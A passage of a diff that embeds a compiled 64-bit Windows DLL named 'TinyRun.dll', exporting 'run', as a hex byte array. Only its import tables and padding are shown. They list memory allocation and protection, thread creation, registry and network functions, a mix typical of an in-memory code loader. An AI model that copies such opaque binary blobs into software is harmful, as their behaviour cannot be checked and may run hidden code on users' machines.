0x16, 0x00, 0x00, 0x5e, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x54, 0x69, + 0x6e, 0x79, 0x52, 0x75, 0x6e, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x72, 0x75, + 0x6e, 0x00, 0x00, 0x00, 0xe8, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4c, 0xbd, 0x01, 0x00, 0x20, 0x20, 0x01, 0x00, + 0x38, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6a, 0xbd, 0x01, 0x00, 0x70, 0x22, 0x01, 0x00, 0xc8, 0xb9, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0xbd, 0x01, 0x00, + 0x00, 0x20, 0x01, 0x00, 0x48, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xec, 0xbd, 0x01, 0x00, 0x80, 0x22, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x76, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9a, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xfc, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xea, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xac, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe2, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd2, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5c, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xc2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe6, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3a, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0xbe, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2c, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x52, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0xbf, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x14, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x22, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6c, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7e, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa2, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc4, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xee, 0xc0, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xfe, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0a, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2e, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x56, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x62, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9c, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb2, 0xc1, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xcc, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd2, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x17, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0xe0, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xc6, 0xbd, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0xb6, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xdf, 0x05, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, + 0x74, 0x65, 0x63, 0x74, 0x00, 0x00, 0xd9, 0x05, 0x56, 0x69, 0x72, 0x74, + 0x75, 0x61, 0x6c, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x00, 0x8f, 0x05, + 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x9f, 0x05, 0x54, 0x65, 0x72, 0x6d, + 0x69, 0x6e, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, + 0xf5, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, + 0x61, 0x64, 0x00, 0x00, 0x21, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, + 0x64, 0x00, 0x68, 0x05, 0x53, 0x65, 0x74, 0x54, 0x68, 0x72, 0x65, 0x61, + 0x64, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x00, 0xbf, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x41, 0x00, 0x00, 0x4b, 0x45, 0x52, 0x4e, + 0x45, 0x4c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0xaf, 0x02, + 0x50, 0x6f, 0x73, 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x57, + 0x00, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, + 0x00, 0x00, 0x8b, 0x02, 0x52, 0x65, 0x67, 0x4f, 0x70, 0x65, 0x6e, 0x4b, + 0x65, 0x79, 0x45, 0x78, 0x41, 0x00, 0x98, 0x02, 0x52, 0x65, 0x67, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x45, 0x78, 0x41, + 0x00, 0x00, 0x5b, 0x02, 0x52, 0x65, 0x67, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x4b, 0x65, 0x79, 0x00, 0x41, 0x44, 0x56, 0x41, 0x50, 0x49, 0x33, 0x32, + 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0xa4, 0x00, 0x66, 0x72, 0x65, 0x65, + 0x61, 0x64, 0x64, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x00, 0xb5, 0x00, + 0x69, 0x6e, 0x65, 0x74, 0x5f, 0x6e, 0x74, 0x6f, 0x70, 0x00, 0xa5, 0x00, + 0x67, 0x65, 0x74, 0x61, 0x64, 0x64, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x00, + 0xb6, 0x00, 0x69, 0x6e, 0x65, 0x74, 0x5f, 0x70, 0x74, 0x6f, 0x6e, 0x00, + 0x57, 0x53, 0x32, 0x5f, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, + 0xd5, 0x04, 0x52, 0x74, 0x6c, 0x43, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x00, 0xdc, 0x04, 0x52, 0x74, + 0x6c, 0x4c, 0x6f, 0x6f, 0x6b, 0x75, 0x70, 0x46, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x00, 0x00, 0xe3, 0x04, + 0x52, 0x74, 0x6c, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x55, 0x6e, + 0x77, 0x69, 0x6e, 0x64, 0x00, 0x00, 0xc0, 0x05, 0x55, 0x6e, 0x68, 0x61, + 0x6e, 0x64, 0x6c, 0x65, 0x64, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x00, 0x00, 0x7f, 0x05, + 0x53, 0x65, 0x74, 0x55, 0x6e, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x64, + 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, + 0x74, 0x65, 0x72, 0x00, 0x20, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, + 0x9e, 0x05, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00, 0x8c, 0x03, 0x49, 0x73, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x46, 0x65, 0x61, + 0x74, 0x75, 0x72, 0x65, 0x50, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x74, 0x00, + 0x52, 0x04, 0x51, 0x75, 0x65, 0x72, 0x79, 0x50, 0x65, 0x72, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x6e, 0x63, 0x65, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, + 0x72, 0x00, 0x25, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x00, 0x00, + 0xf3, 0x02, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x54, + 0x69, 0x6d, 0x65, 0x41, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x69, 0x6d, + 0x65, 0x00, 0x6f, 0x03, 0x49, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, + 0x7a, 0x65, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x48, 0x65, 0x61, 0x64, 0x00, + 0x85, 0x03, 0x49, 0x73, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x65, 0x72, + 0x50, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x74, 0x00, 0xda, 0x02, 0x47, 0x65, + 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x49, 0x6e, 0x66, 0x6f, + 0x57, 0x00, 0x81, 0x02, 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, + 0x65, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x57, 0x00, 0x00, 0xe2, 0x04, + 0x52, 0x74, 0x6c, 0x55, 0x6e, 0x77, 0x69, 0x6e, 0x64, 0x45, 0x78, 0x00, + 0x73, 0x03, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6c, 0x6f, 0x63, 0x6b, 0x65, + 0x64, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x00, + 0x6a, 0x02, 0x47, 0x65, 0x74, 0x4c, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, + 0x6f, 0x72, 0x00, 0x00, 0x41, 0x05, 0x53, 0x65, 0x74, 0x4c, 0x61, 0x73, + 0x74, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x00, 0x00, 0x38, 0x01, 0x45, 0x6e, + 0x74, 0x65, 0x72, 0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x53, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0xc4, 0x03, 0x4c, 0x65, + 0x61, 0x76, 0x65, 0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x53, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x14, 0x01, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, + 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x6b, 0x03, 0x49, 0x6e, + 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x43, 0x72, 0x69, 0x74, + 0x69, 0x63, 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x41, + 0x6e, 0x64, 0x53, 0x70, 0x69, 0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x00, + 0xb0, 0x05, 0x54, 0x6c, 0x73, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x00, + 0xb2, 0x05, 0x54, 0x6c, 0x73, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x00, 0xb3, 0x05, 0x54, 0x6c, 0x73, 0x53, 0x65, 0x74, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x00, 0xb1, 0x05, 0x54, 0x6c, 0x73, 0x46, 0x72, 0x65, + 0x65, 0x00, 0xb4, 0x01, 0x46, 0x72, 0x65, 0x65, 0x4c, 0x69, 0x62, 0x72, + 0x61, 0x72, 0x79, 0x00, 0xb8, 0x02, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, + 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0xca, 0x03, + 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x45, + 0x78, 0x57, 0x00, 0x00, 0x68, 0x04, 0x52, 0x61, 0x69, 0x73, 0x65, 0x45, + 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x67, 0x01, + 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, + 0x80, 0x02, 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x48, + 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x45, 0x78, 0x57, 0x00, 0x00, 0x7d, 0x02, + 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x46, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x57, 0x00, 0x00, 0x55, 0x03, 0x48, 0x65, + 0x61, 0x70, 0x46, 0x72, 0x65, 0x65, 0x00, 0x00, 0x51, 0x03, 0x48, 0x65, + 0x61, 0x70, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0xdc, 0x02, 0x47, 0x65, + 0x74, 0x53, 0x74, 0x64, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x00, 0x00, + 0x58, 0x02, 0x47, 0x65, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, + 0x65, 0x00, 0xb8, 0x03, 0x4c, 0x43, 0x4d, 0x61, 0x70, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x57, 0x00, 0x00, 0x7e, 0x01, 0x46, 0x69, 0x6e, 0x64, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x00, 0x84, 0x01, 0x46, 0x69, 0x6e, 0x64, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x57, + 0x00, 0x00, 0x95, 0x01, 0x46, 0x69, 0x6e, 0x64, 0x4e, 0x65, 0x78, 0x74, + 0x46, 0x69, 0x6c, 0x65, 0x57, 0x00, 0x92, 0x03, 0x49, 0x73, 0x56, 0x61, + 0x6c, 0x69, 0x64, 0x43, 0x6f, 0x64, 0x65, 0x50, 0x61, 0x67, 0x65, 0x00, + 0xbb, 0x01, 0x47, 0x65, 0x74, 0x41, 0x43, 0x50, 0x00, 0x00, 0xa1, 0x02, + 0x47, 0x65, 0x74, 0x4f, 0x45, 0x4d, 0x43, 0x50, 0x00, 0x00, 0xca, 0x01, + 0x47, 0x65, 0x74, 0x43, 0x50, 0x49, 0x6e, 0x66, 0x6f, 0x00, 0xdf, 0x01, + 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, + 0x6e, 0x65, 0x41, 0x00, 0xe0, 0x01, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x57, 0x00, 0xf6, 0x03, + 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x42, 0x79, 0x74, 0x65, 0x54, 0x6f, 0x57, + 0x69, 0x64, 0x65, 0x43, 0x68, 0x61, 0x72, 0x00, 0x11, 0x06, 0x57, 0x69, + 0x64, 0x65, 0x43, 0x68, 0x61, 0x72, 0x54, 0x6f, 0x4d, 0x75, 0x6c, 0x74, + 0x69, 0x42, 0x79, 0x74, 0x65, 0x00, 0x41, 0x02, 0x47, 0x65, 0x74, 0x45, + 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x74, + 0x72, 0x69, 0x6e, 0x67, 0x73, 0x57, 0x00, 0x00, 0xb3, 0x01, 0x46, 0x72, + 0x65, 0x65, 0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x73, 0x57, 0x00, 0xbe, 0x02, + 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x48, 0x65, + 0x61, 0x70, 0x00, 0x00, 0x33, 0x05, 0x53, 0x65, 0x74, 0x46, 0x69, 0x6c, + 0x65, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x45, 0x78, 0x00, 0x00, + 0xe1, 0x02, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x54, + 0x79, 0x70, 0x65, 0x57, 0x00, 0x00, 0x5b, 0x05, 0x53, 0x65, 0x74, 0x53, + 0x74, 0x64, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x00, 0x00, 0x5a, 0x03, + 0x48, 0x65, 0x61, 0x70, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x00, 0x58, 0x03, + 0x48, 0x65, 0x61, 0x70, 0x52, 0x65, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x00, + 0xa8, 0x01, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x46, 0x69, 0x6c, 0x65, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x00, 0x00, 0x25, 0x06, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x09, 0x02, 0x47, 0x65, + 0x74, 0x43, 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x43, 0x50, 0x00, 0x00, 0x05, 0x02, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x00, 0x00, + 0x89, 0x00, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, 0x61, 0x6e, 0x64, 0x6c, + 0x65, 0x00, 0xce, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, + 0x6c, 0x65, 0x57, 0x00, 0x24, 0x06, 0x57, 0x72, 0x69, 0x74, 0x65, 0x43, + 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcd, 0x5d, 0x20, 0xd2, + 0x66, 0xd4, 0xff, 0xff, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x2f, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x0c, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 